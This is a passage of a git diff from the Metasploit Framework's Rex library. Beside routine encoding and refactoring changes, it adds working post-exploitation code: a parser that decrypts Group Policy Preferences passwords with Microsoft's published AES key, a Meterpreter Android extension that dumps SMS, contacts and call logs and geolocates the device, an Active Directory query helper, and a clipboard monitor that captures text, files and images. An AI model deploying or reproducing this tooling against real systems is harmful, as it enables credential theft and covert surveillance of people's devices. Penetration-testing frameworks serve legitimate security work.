:intern, :chr, :casecmp, :ascii_only?, :<, :tr_s, + :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym, + :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!, + :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase, + :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=, + :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?, + :delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char, + :hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[], + :<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition, + :between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===, + :tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice, + :initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index, + :[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding, + :end_with? + + def initialize(code) + @code = '' + @rig = Rex::RandomIdentifierGenerator.new + + begin + # Open code file for reading + fd = ::File.new(code, 'rb') + while (line = fd.gets) + @code << line + end + + # Close open file + fd.close + rescue Errno::ENAMETOOLONG, Errno::ENOENT + # Treat code as a... code + @code = code.to_s.dup # in case we're eating another script + end + @functions = get_func_names.map { |f| get_func(f) } + end + + ## + # Class methods + ## + + # + # Convert binary to byte array, read from file if able + # + # @param input_data [String] Path to powershell file or powershell + # code string + # @param var_name [String] Byte array variable name + # + # @return [String] input_data as a powershell byte array + def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3)) + # File will raise an exception if the path contains null byte + if input_data.include? "\x00" + code = input_data + else + code = ::File.file?(input_data) ? ::File.read(input_data) : input_data + end + + code = code.unpack('C*') + psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" + lines = [] + 1.upto(code.length - 1) do |byte| + if (byte % 10 == 0) + lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" + else + lines.push ",0x#{code[byte].to_s(16)}" + end + end + + psh << lines.join('') + "\r\n" + end + + # + # Return list of code modifier methods + # + # @return [Array] Code modifiers + def self.code_modifiers + instance_methods.select { |m| m =~ /^(strip|sub)/ } + end + end # class Script +end +end +end diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb index c97091f88c..c035a1f18a 100644 --- a/lib/rex/exploitation/ropdb.rb +++ b/lib/rex/exploitation/ropdb.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/text' require 'rexml/document' diff --git a/lib/rex/mac_oui.rb b/lib/rex/mac_oui.rb index 3f5046557f..4d47e29ba3 100644 --- a/lib/rex/mac_oui.rb +++ b/lib/rex/mac_oui.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex module Oui diff --git a/lib/rex/mime/encoding.rb b/lib/rex/mime/encoding.rb new file mode 100644 index 0000000000..d9805c00e1 --- /dev/null +++ b/lib/rex/mime/encoding.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- +module Rex +module MIME +# Set of helpers methods to deal with SMTP encoding related topics. +module Encoding + + # Enforces CRLF on the input data + # + # @param data [String] The data to CRLF enforce. + # @return [String] CRLF enforced data. + def force_crlf(data) + data.gsub("\r", '').gsub("\n", "\r\n") + end + +end +end +end diff --git a/lib/rex/mime/message.rb b/lib/rex/mime/message.rb index 668d1edf6f..c8f3467377 100644 --- a/lib/rex/mime/message.rb +++ b/lib/rex/mime/message.rb @@ -5,10 +5,14 @@ class Message require 'rex/mime/header' require 'rex/mime/part' + require 'rex/mime/encoding' require 'rex/text' + include Rex::MIME::Encoding + attr_accessor :header, :parts, :bound, :content + def initialize(data=nil) self.header = Rex::MIME::Header.new self.parts = [] @@ -122,23 +126,22 @@ class Message end def to_s - msg = self.header.to_s + "\r\n" + msg = force_crlf(self.header.to_s + "\r\n") - if self.content and not self.content.empty? - msg << self.content + "\r\n" + unless self.content.blank? + msg << force_crlf(self.content + "\r\n") end self.parts.each do |part| - msg << "--" + self.bound + "\r\n" - msg << part.to_s + "\r\n" + msg << force_crlf("--" + self.bound + "\r\n") + msg << part.to_s end if self.parts.length > 0 - msg << "--" + self.bound + "--\r\n" + msg << force_crlf("--" + self.bound + "--\r\n") end - # Force CRLF for SMTP compatibility - msg.gsub("\r", '').gsub("\n", "\r\n") + msg end end diff --git a/lib/rex/mime/part.rb b/lib/rex/mime/part.rb index 5f2acfb96e..ef80bb5ec5 100644 --- a/lib/rex/mime/part.rb +++ b/lib/rex/mime/part.rb @@ -4,6 +4,9 @@ module MIME class Part require 'rex/mime/header' + require 'rex/mime/encoding' + + include Rex::MIME::Encoding attr_accessor :header, :content @@ -13,7 +16,33 @@ class Part end def to_s - self.header.to_s + "\r\n" + self.content + "\r\n" + self.header.to_s + "\r\n" + content_encoded + "\r\n" + end + + # Returns the part content with any necessary encoding or transformation + # applied. + # + # @return [String] Content with encoding or transformations applied. + def content_encoded + binary_content? ? content : force_crlf(content) + end + + # Answers if the part content is binary. + # + # @return [Boolean] true if the part content is binary, false otherwise. + def binary_content? + transfer_encoding && transfer_encoding == 'binary' + end + + # Returns the Content-Transfer-Encoding of the part. + # + # @return [nil] if the part hasn't Content-Transfer-Encoding. + # @return [String] The Content-Transfer-Encoding or the part. + def transfer_encoding + h = header.find('Content-Transfer-Encoding') + return nil if h.nil? + + h[1] end end diff --git a/lib/rex/ole/util.rb b/lib/rex/ole/util.rb index 867bc16b46..e2dfbca281 100644 --- a/lib/rex/ole/util.rb +++ b/lib/rex/ole/util.rb @@ -124,7 +124,7 @@ class Util def self.getUnicodeString(buf) - buf = buf.unpack('S*').pack('C*') + buf = buf.unpack('v*').pack('C*') if (idx = buf.index(0x00.chr)) buf.slice!(idx, buf.length) end @@ -132,7 +132,7 @@ class Util end def self.putUnicodeString(buf) - buf = buf.unpack('C*').pack('S*') + buf = buf.unpack('C*').pack('v*') if (buf.length < 0x40) buf << "\x00" * (0x40 - buf.length) end diff --git a/lib/rex/parser/group_policy_preferences.rb b/lib/rex/parser/group_policy_preferences.rb new file mode 100644 index 0000000000..3e97450b28 --- /dev/null +++ b/lib/rex/parser/group_policy_preferences.rb @@ -0,0 +1,185 @@ +# -*- coding: binary -*- +# + +module Rex +module Parser + +# This is a parser for the Windows Group Policy Preferences file +# format. It's used by modules/post/windows/gather/credentials/gpp.rb +# and uses REXML (as opposed to Nokogiri) for its XML parsing. +# See: http://msdn.microsoft.com/en-gb/library/cc232587.aspx +class GPP + require 'rex' + require 'rexml/document' + + def self.parse(data) + if data.nil? + return [] + end + + xml = REXML::Document.new(data).root + results = [] + + unless xml and xml.elements and xml.elements.to_a("//Properties") + return [] + end + + xml.elements.to_a("//Properties").each do |node| + epassword = node.attributes['cpassword'] + next if epassword.to_s.empty? + password = self.decrypt(epassword) + + user = node.attributes['runAs'] if node.attributes['runAs'] + user = node.attributes['accountName'] if node.attributes['accountName'] + user = node.attributes['username'] if node.attributes['username'] + user = node.attributes['userName'] if node.attributes['userName'] + user = node.attributes['newName'] unless node.attributes['newName'].nil? || node.attributes['newName'].empty? + changed = node.parent.attributes['changed'] + + # Printers and Shares + path = node.attributes['path'] + + # Datasources + dsn = node.attributes['dsn'] + driver = node.attributes['driver'] + + # Tasks + app_name = node.attributes['appName'] + + # Services + service = node.attributes['serviceName'] + + # Groups + expires = node.attributes['expires'] + never_expires = node.attributes['neverExpires'] + disabled = node.attributes['acctDisabled'] + + result = { + :USER => user, + :PASS => password, + :CHANGED => changed + } + + result.merge!({ :EXPIRES => expires }) unless expires.nil? || expires.empty? + result.merge!({ :NEVER_EXPIRES => never_expires.to_i }) unless never_expires.nil? || never_expires.empty? + result.merge!({ :DISABLED => disabled.to_i }) unless disabled.nil? || disabled.empty? + result.merge!({ :PATH => path }) unless path.nil? || path.empty? + result.merge!({ :DATASOURCE => dsn }) unless dsn.nil? || dsn.empty? + result.merge!({ :DRIVER => driver }) unless driver.nil? || driver.empty? + result.merge!({ :TASK => app_name }) unless app_name.nil? || app_name.empty? + result.merge!({ :SERVICE => service }) unless service.nil? || service.empty? + + attributes = [] + node.elements.each('//Attributes//Attribute') do |dsn_attribute| + attributes << { + :A_NAME => dsn_attribute.attributes['name'], + :A_VALUE => dsn_attribute.attributes['value'] + } + end + + result.merge!({ :ATTRIBUTES => attributes }) unless attributes.empty? + + results << result + end + + results + end + + def self.create_tables(results, filetype, domain=nil, dc=nil) + tables = [] + results.each do |result| + table = Rex::Ui::Text::Table.new( + 'Header' => 'Group Policy Credential Info', + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => + [ + 'Name', + 'Value', + ] + ) + + table << ["TYPE", filetype] + table << ["USERNAME", result[:USER]] + table << ["PASSWORD", result[:PASS]] + table << ["DOMAIN CONTROLLER", dc] unless dc.nil? || dc.empty? + table << ["DOMAIN", domain] unless domain.nil? || domain.empty? + table << ["CHANGED", result[:CHANGED]] + table << ["EXPIRES", result[:EXPIRES]] unless result[:EXPIRES].nil? || result[:EXPIRES].empty? + table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRES]] unless result[:NEVER_EXPIRES].nil? + table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil? + table << ["PATH", result[:PATH]] unless result[:PATH].nil? || result[:PATH].empty? + table << ["DATASOURCE", result[:DSN]] unless result[:DSN].nil? || result[:DSN].empty? + table << ["DRIVER", result[:DRIVER]] unless result[:DRIVER].nil? || result[:DRIVER].empty? + table << ["TASK", result[:TASK]] unless result[:TASK].nil? || result[:TASK].empty? + table << ["SERVICE", result[:SERVICE]] unless result[:SERVICE].nil? || result[:SERVICE].empty? + + unless result[:ATTRIBUTES].nil? || result[:ATTRIBUTES].empty? + result[:ATTRIBUTES].each do |dsn_attribute| + table << ["ATTRIBUTE", "#{dsn_attribute[:A_NAME]} - #{dsn_attribute[:A_VALUE]}"] + end + end + + tables << table + end + + tables + end + + # Decrypts passwords using Microsoft's published key: + # http://msdn.microsoft.com/en-us/library/cc422924.aspx + def self.decrypt(encrypted_data) + password = "" + return password unless encrypted_data + + password = "" + retries = 0 + original_data = encrypted_data.dup + + begin + mod = encrypted_data.length % 4 + + # PowerSploit code strips the last character, unsure why... + case mod + when 1 + encrypted_data = encrypted_data[0..-2] + when 2, 3 + padding = '=' * (4 - mod) + encrypted_data = "#{encrypted_data}#{padding}" + end + + # Strict base64 decoding used here + decoded = encrypted_data.unpack('m0').first + rescue ::ArgumentError => e + # Appears to be some junk UTF-8 Padding appended at times in + # Win2k8 (not in Win2k8R2) + # Lets try stripping junk and see if we can decrypt + if retries < 8 + retries += 1 + original_data = original_data[0..-2] + encrypted_data = original_data + retry + else + return password + end + end + + key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" + aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") + begin + aes.decrypt + aes.key = key + plaintext = aes.update(decoded) + plaintext << aes.final + password = plaintext.unpack('v*').pack('C*') # UNICODE conversion + rescue OpenSSL::Cipher::CipherError => e + puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}" + end + + password + end + +end +end +end + diff --git a/lib/rex/parser/outpost24_nokogiri.rb b/lib/rex/parser/outpost24_nokogiri.rb index a925afdf70..2d612ae971 100644 --- a/lib/rex/parser/outpost24_nokogiri.rb +++ b/lib/rex/parser/outpost24_nokogiri.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require "rex/parser/nokogiri_doc_mixin" module Rex diff --git a/lib/rex/poly/machine.rb b/lib/rex/poly/machine.rb index b530268164..152dfb4e69 100644 --- a/lib/rex/poly/machine.rb +++ b/lib/rex/poly/machine.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex diff --git a/lib/rex/poly/machine/machine.rb b/lib/rex/poly/machine/machine.rb index 107a838acc..021effa940 100644 --- a/lib/rex/poly/machine/machine.rb +++ b/lib/rex/poly/machine/machine.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex diff --git a/lib/rex/poly/machine/x86.rb b/lib/rex/poly/machine/x86.rb index f2fc3131b2..cedc8cd148 100644 --- a/lib/rex/poly/machine/x86.rb +++ b/lib/rex/poly/machine/x86.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex diff --git a/lib/rex/post/meterpreter.rb b/lib/rex/post/meterpreter.rb index fc62e558dc..8986c6f0b4 100644 --- a/lib/rex/post/meterpreter.rb +++ b/lib/rex/post/meterpreter.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'meterpreter_bins' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/ui/console' diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index a48b513825..a9f13dca42 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -149,7 +149,8 @@ class ClientCore < Extension end # Get us to the installation root and then into data/meterpreter, where # the file is expected to be - path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") + modname = "ext_server_#{mod.downcase}" + path = MeterpreterBinaries.path(modname, client.binary_suffix) if (opts['ExtensionPath']) path = opts['ExtensionPath'] @@ -221,7 +222,7 @@ class ClientCore < Extension # Create the migrate stager migrate_stager = c.new() - migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" ) + migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix) blob = migrate_stager.stage_payload @@ -266,7 +267,7 @@ class ClientCore < Extension end # Send the migration request (bump up the timeout to 60 seconds) - response = client.send_request( request, 60 ) + client.send_request( request, 60 ) if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents @@ -282,12 +283,25 @@ class ClientCore < Extension # Now communicating with the new process ### - # Renegotiate SSL over this socket - client.swap_sock_ssl_to_plain() - client.swap_sock_plain_to_ssl() + # If renegotiation takes longer than a minute, it's a pretty + # good bet that migration failed and the remote side is hung. + # Since we have the comm_mutex here, we *must* release it to + # keep from hanging the packet dispatcher thread, which results + # in blocking the entire process. See Redmine #8794 + begin + Timeout.timeout(60) do + # Renegotiate SSL over this socket + client.swap_sock_ssl_to_plain() + client.swap_sock_plain_to_ssl() + end + rescue TimeoutError + client.alive = false + return false + end # Restart the socket monitor client.monitor_socket + end end diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb new file mode 100644 index 0000000000..e36a27eb31 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -0,0 +1,128 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- +require 'rex/post/meterpreter/extensions/android/tlv' +require 'rex/post/meterpreter/packet' +require 'rex/post/meterpreter/client' +require 'rex/post/meterpreter/channels/pools/stream_pool' + + +module Rex +module Post +module Meterpreter +module Extensions +module Android + +### +# Android extension - set of commands to be executed on android devices. +# extension by Anwar Mohamed (@anwarelmakrahy) +### + + +class Android < Extension + + def initialize(client) + super(client, 'android') + + # Alias the following things on the client object so that they + # can be directly referenced + client.register_extension_aliases( + [ + { + 'name' => 'android', + 'ext' => self + }, + ]) + end + + def device_shutdown(n) + request = Packet.create_request('device_shutdown') + request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) + response = client.send_request(request) + return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value + end + + def dump_sms + sms = Array.new + request = Packet.create_request('dump_sms') + response = client.send_request(request) + + response.each( TLV_TYPE_SMS_GROUP ) { |p| + + sms << + { + 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), + 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), + 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, + 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), + 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) + } + + } + return sms + end + + def dump_contacts + contacts = Array.new + request = Packet.create_request('dump_contacts') + response = client.send_request(request) + + response.each( TLV_TYPE_CONTACT_GROUP ) { |p| + + contacts << + { + 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), + 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), + 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) + } + + } + return contacts + end + + def geolocate + + loc = Array.new + request = Packet.create_request('geolocate') + response = client.send_request(request) + + loc << + { + 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), + 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) + } + + return loc + end + + def dump_calllog + log = Array.new + request = Packet.create_request('dump_calllog') + response = client.send_request(request) + + response.each(TLV_TYPE_CALLLOG_GROUP) { |p| + + log << + { + 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), + 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), + 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), + 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), + 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) + } + + } + return log + end + + def check_root + request = Packet.create_request('check_root') + response = client.send_request(request) + response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value + end +end + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb new file mode 100644 index 0000000000..879afbe944 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -0,0 +1,40 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +module Rex +module Post +module Meterpreter +module Extensions +module Android + +TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) +TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) +TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) +TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) +TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) +TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) + +TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) +TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) +TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) +TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) + +TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) +TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) + +TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) +TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) +TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) +TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) +TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) +TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) + +TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) + +TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb b/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb new file mode 100644 index 0000000000..ad7731162d --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb @@ -0,0 +1,71 @@ +# -*- coding: binary -*- + +module Rex +module Post +module Meterpreter +module Extensions +module Extapi +module Adsi + +### +# +# This meterpreter extension contains extended API functions for +# querying and managing desktop windows. +# +### +class Adsi + + def initialize(client) + @client = client + end + + # + # Perform a generic domain query against ADSI. + # + # @param domain_name [String] The FQDN of the target domain. + # @param filter [String] The filter to apply to the query in + # LDAP format. + # @param max_results [Integer] The maximum number of results + # to return. + # @param page_size [Integer] The size of the page of results + # to return. + # @param fields [Array] Array of string fields to return for + # each result found + # + # @return [Hash] Array of field names with associated results. + # + def domain_query(domain_name, filter, max_results, page_size, fields) + request = Packet.create_request('extapi_adsi_domain_query') + + request.add_tlv(TLV_TYPE_EXT_ADSI_DOMAIN, domain_name) + request.add_tlv(TLV_TYPE_EXT_ADSI_FILTER, filter) + request.add_tlv(TLV_TYPE_EXT_ADSI_MAXRESULTS, max_results) + request.add_tlv(TLV_TYPE_EXT_ADSI_PAGESIZE, page_size) + + fields.each do |f| + request.add_tlv(TLV_TYPE_EXT_ADSI_FIELD, f) + end + + response = client.send_request(request) + + results = [] + response.each(TLV_TYPE_EXT_ADSI_RESULT) { |r| + result = [] + r.each(TLV_TYPE_EXT_ADSI_VALUE) { |v| + result << v.value + } + results << result + } + + return { + :fields => fields, + :results => results + } + end + + attr_accessor :client + +end + +end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index e3c059f2b3..609f2ab5e4 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -19,11 +19,11 @@ class Clipboard @client = client end + # # Get the target clipboard data in whichever format we can # (if it's supported). + # def get_data(download = false) - results = [] - request = Packet.create_request('extapi_clipboard_get_data') if download @@ -32,45 +32,12 @@ class Clipboard response = client.send_request(request) - text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) - - if text - results << { - :type => :text, - :data => text - } - end - - files = [] - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f| - files << { - :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), - :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) - } - } - - if files.length > 0 - results << { - :type => :files, - :data => files - } - end - - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| - if jpg - results << { - :type => :jpg, - :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), - :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), - :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) - } - end - end - - return results + return parse_dump(response) end + # # Set the target clipboard data to a text value + # def set_text(text) request = Packet.create_request('extapi_clipboard_set_data') @@ -81,8 +48,122 @@ class Clipboard return true end + # + # Start the clipboard monitor if it hasn't been started. + # + def monitor_start(opts) + request = Packet.create_request('extapi_clipboard_monitor_start') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img]) + return client.send_request(request) + end + + # + # Pause the clipboard monitor if it's running. + # + def monitor_pause + request = Packet.create_request('extapi_clipboard_monitor_pause') + return client.send_request(request) + end + + # + # Dump the conents of the clipboard monitor to the local machine. + # + def monitor_dump(opts) + pull_img = opts[:include_images] + purge = opts[:purge] + purge = true if purge.nil? + + request = Packet.create_request('extapi_clipboard_monitor_dump') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge) + + response = client.send_request(request) + + return parse_dump(response) + end + + # + # Resume the clipboard monitor if it has been paused. + # + def monitor_resume + request = Packet.create_request('extapi_clipboard_monitor_resume') + return client.send_request(request) + end + + # + # Purge the contents of the clipboard capture without downloading. + # + def monitor_purge + request = Packet.create_request('extapi_clipboard_monitor_purge') + return client.send_request(request) + end + + # + # Stop the clipboard monitor and dump optionally it's contents. + # + def monitor_stop(opts) + dump = opts[:dump] + pull_img = opts[:include_images] + + request = Packet.create_request('extapi_clipboard_monitor_stop') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) + + response = client.send_request(request) + unless dump + return response + end + + return parse_dump(response) + end + attr_accessor :client +private + + def parse_dump(response) + result = {} + + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t| + ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # fat chance of someone adding two different bits of text to the + # clipboard at the same time + result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) + end + + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES) do |fs| + ts = fs.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + result[ts]['Files'] ||= [] + fs.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| + result[ts]['Files'] << { + :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), + :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) + } + end + end + + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| + if jpg + ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # same story with images, there's no way more than one can come + # through on the same timestamp with differences + result[ts]['Image'] = { + :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), + :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), + :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) + } + end + end + + return result + end + end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb index af97be3e42..31a3cd45af 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb @@ -4,6 +4,8 @@ require 'rex/post/meterpreter/extensions/extapi/tlv' require 'rex/post/meterpreter/extensions/extapi/window/window' require 'rex/post/meterpreter/extensions/extapi/service/service' require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard' +require 'rex/post/meterpreter/extensions/extapi/adsi/adsi' +require 'rex/post/meterpreter/extensions/extapi/wmi/wmi' module Rex module Post @@ -28,9 +30,11 @@ class Extapi < Extension 'name' => 'extapi', 'ext' => ObjectAliases.new( { - 'window' => Rex::Post::Meterpreter::Extensions::Extapi::Window::Window.new(client), - 'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client), - 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client) + 'window' => Rex::Post::Meterpreter::Extensions::Extapi::Window::Window.new(client), + 'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client), + 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client), + 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client), + 'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client) }) }, ]) diff --git a/lib/rex/post/meterpreter/extensions/extapi/service/service.rb b/lib/rex/post/meterpreter/extensions/extapi/service/service.rb index 86fbc7d148..0318c1aeac 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/service/service.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/service/service.rb @@ -15,18 +15,26 @@ module Service ### class Service + SERVICE_OP_START = 1 + SERVICE_OP_PAUSE = 2 + SERVICE_OP_RESUME = 3 + SERVICE_OP_STOP = 4 + SERVICE_OP_RESTART = 5 + def initialize(client) @client = client end + # # Enumerate all the services on the target. + # def enumerate request = Packet.create_request('extapi_service_enum') response = client.send_request(request) services = [] - response.each(TLV_TYPE_EXT_SERVICE_ENUM_GROUP) { |s| + 